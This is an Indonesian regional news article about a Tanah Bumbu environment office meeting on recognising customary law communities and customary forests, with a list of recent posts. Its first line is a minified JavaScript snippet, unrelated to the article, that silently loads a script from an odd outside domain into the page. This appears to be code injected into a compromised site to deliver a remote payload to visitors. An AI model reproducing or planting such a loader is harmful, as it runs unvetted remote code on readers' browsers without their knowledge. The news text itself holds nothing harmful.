(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Negara Akui Masyarakat Hukum Adat, DLH Tanbu Bahas MHA hingga Hutan Adat


KANALKALIMANTAN.COM, BATULICIN – Dinas Lingkungan Hidup (DLH) Tanah Bumbu (Tanbu) sosialisasi keberadaan Masyarakat Hukum Adat (MHA) dan kearifan lokal di Kabupaten Tanah Bumbu, Rabu (29/6/2022).

Data yang ada di DLH Tanbu ada sejumlah komunitas adat di Kabupaten Tanah Bumbu yang berada pada 10 balai adat tersebar di tiga kecamatan yaitu Kecamatan Mantewe, Kecamatan Satui dan Kecamatan Teluk Kepayang.

Tanah Bumbu sudah ada terbentuk panitia MHA untuk tahun 2022/2023 terdiri atas lintas sektor dan unsur perwakilan masyarakat adat dengan Nomor 188.46/15/DLH/2022 yang dikeluarkan tanggal 11 April 2022.

Sosialisasi keberadaan MHA mendatangkan narasumber dari DLH Provinsi Kalsel dan Aliansi Masyarakat Adat Nusantara (AMAN) Kalsel. Juga ada Kepala DLH Kotabaru, Ketua AMAN Kotabaru dan Kumdatus Kotabaru, Kepala BPN, Kepala KPH Kusan, Ketua AMAN Tanbu, Ketua Kumdatus Tanbu, Camat Mantewe dan Teluk Kepayang, Kepala Desa Tamunih serta perwakilan masyarakat adat.

 

Baca juga  : 19 Pejabat Pemkab Kapuas Dilantik, Bupati Ben Brahim: Dimana Pun di Tempatkan Laksanakan Tugas!

Sekretaris DLH Tanbu Halidie mengucapkan terima kasih atas kerjasama semua pihak, sehingga terselenggara sebagai wujud kepedulian bersama, dalam menjaga kenyamanan, kelestarian lingkungan, dan sumber daya alam.

“Kita ini negara hukum, negara kepulauan, negara yang mempunyai adat istiadat dan budaya. Perlu adanya suatu pengakuan, dimana masyarakat dibagi tiga yaitu ada masyarakat hukum adat, masyarakat lokal dan masyarakat tradisional. Semua mempunyai kriteria yang berbeda, masyarakat hukum adat harus diakui oleh wali kota, bupati atau gubernur,” ujarnya.

Terkait masyarakat hukum adat yang ada di Tanbu, langkah-langkah, yang sudah dilakukan Pemkab Tanbu dalam mendukung percepatan pengakuan dan perlindungan MHA adalah dengan kehadiran SK Bupati Tanah Bumbu tentang Panitia MHA Kabupaten Tanbu tahun 2022/2023. Sehingga bisa menetapkan langkah kerja Panitia MHA, dimana sudah ada rapat koordinasi Panitia MHA, membahas awal identifikasi MHA berdasarkan ISOMHA (Identifikasi Subyek Obyek Masyarakat Hukum Adat). Namun, terkendala pada penentuan peta wilayah adat dan peta hutan adat di Tanah Bumbu.

“Tanah Bumbu saat ini, belum mempunyai penetapan pengakuan dan perlindungan MHA, sehingga gerak langkah kerja Panitia MHA dapat cepat dan terarah,” katanya. Menyikapi hal tersebut diharapkan kedatangan narasumber dari DLH Kalsel dan AMAN Kalsel, lebih memantapkan kinerja Panitia MHA Kabupaten Tanbu. “Sehingga bisa menentukan langkah lanjutan, kita juga perlu bijak dalam menanggapi kearifan lokal untuk melestarikan budaya masyarakat secara turun temurun, mencegah pencemaran lingkungan dan mencegah kerusakan lingkungan,” paparnya.

 

Baca juga  : Pemerintah Tetapkan Idul Adha 1443 H pada Minggu 10 Juli 2022

Narasumber dari DLH Kalsel, Wahyuni Majedi menyampaikan, sosialisasi ini telah berjalan sudah di beberapa daerah, hingga saat ini sampai pada Kabupaten Tanah Bumbu, tentang peran pemerintah dan pemerintah daerah dalam pengakuan dan pemetaan wilayah MHA. Penjelasan mengenai pembentukan negara serta pengelolaan negara melalui regulasi ketentuan yang tercantum pada UUD 1945 Pasal 18 B (2) dan Pasal 281 Ayat (3).

Demikian juga telah tertuang pada beberapa peraturan yaitu UU No 6 Tahun 2014 tentang Desa, Permendagri 52 Tahun 2014 tentang Pedoman Pengakuan dan Perlindungan MHA serta PermenLHK No. 9 Tahun 2021 tentang Pengelolaan Perhutanan Sosial khususnya pada Pasal 63 terkait Hutan Adat.

“Kami berharap, sambil menunggu pembuatan Peraturan Daerah yang memerlukan waktu cukup lama, bisa dilakukan dengan pengakuan dan penetapan MHA melalui keputusan Kepala Daerah, sehingga ada penguatan payung hukum terkait wilayah adat MHA, pengelolaan hutan adat, ada hukum adat secara tertulis, penegasan masalah sengketa tanah juga perlu diperhatikan,” paparnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

11 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

16 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.